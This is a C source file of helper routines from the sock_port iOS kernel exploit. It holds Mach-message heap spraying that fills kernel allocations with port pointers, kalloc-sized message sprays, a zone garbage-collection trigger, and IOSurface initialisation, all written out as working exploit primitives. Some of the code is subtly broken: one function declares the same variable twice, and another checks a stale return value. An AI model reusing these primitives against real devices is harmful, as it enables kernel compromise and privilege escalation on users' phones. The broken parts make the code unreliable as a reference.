//
//  exploit_utilities.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit_utilities.h"

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}


mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
    
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to receive message\n");
        return NULL;
    }
    
    return msg;
}

// Ian Beer
size_t message_size_for_kalloc_size(size_t kalloc_size) {
    return ((3 * kalloc_size) / 4) - 0x74;
}

// Ian Beer
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    err = mach_port_set_attributes(mach_task_self(),
                                   q,
                                   MACH_PORT_LIMITS_INFO,
                                   (mach_port_info_t)&limits,
                                   MACH_PORT_LIMITS_INFO_COUNT);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to increase queue limit\n");
        return MACH_PORT_NULL;
    }
    
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
    struct simple_msg *msg = (struct simple_msg *)malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
    memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
    
    for (int i = 0; i < 256; i++) {
        msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
        msg->hdr.msgh_size = msg_size;
        msg->hdr.msgh_remote_port = q;
        msg->hdr.msgh_local_port = MACH_PORT_NULL;
        msg->hdr.msgh_id = 0x41414142;
        
        err = mach_msg(&msg->hdr,
                       MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                       msg_size,
                       0,
                       MACH_PORT_NULL,
                       MACH_MSG_TIMEOUT_NONE,
                       MACH_PORT_NULL);
        
        if (err != KERN_SUCCESS) {
            printf("[-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
            return MACH_PORT_NULL;
        }
    }
    
    return q;
}

// rest is from machswap
void trigger_gc() {
    const int gc_ports_cnt = 100;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };
    
    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);
    
    for (int i = 0; i < gc_ports_cnt; i++) {
        uint64_t t0, t1;
        
        t0 = mach_absolute_time();
        gc_ports[i] = send_kalloc_message(body, body_size);
        t1 = mach_absolute_time();
        
        if (t1 - t0 > 1000000) {
            printf("[+] got gc at %d -- breaking\n", i);
            gc_ports_max = i;
            break;
        }
    }
    
    for (int i = 0; i < gc_ports_max; i++) {
        mach_port_destroy(mach_task_self(), gc_ports[i]);
    }
    
    sched_yield();
    sleep(1);
}

mach_vm_size_t pagesize = 0;

const uint64_t IOSURFACE_CREATE_SURFACE =  0;
const uint64_t IOSURFACE_SET_VALUE      =  9;
const uint64_t IOSURFACE_GET_VALUE      = 10;
const uint64_t IOSURFACE_DELETE_VALUE   = 11;

int init_IOSurface() {
    kern_return_t ret = KERN_SUCCESS;

    ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    printf("[i] page size: 0x%llx, %s\n", pagesize, mach_error_string(ret));
    if (ret != KERN_SUCCESS) {
        printf("[-] failed to get page size! ret: %x %s\n", ret, mach_error_string(ret));
        return ret;
    }
    return !IOSurface_init();
}

void deinit_IOSurface() {
    IOSurface_deinit();
}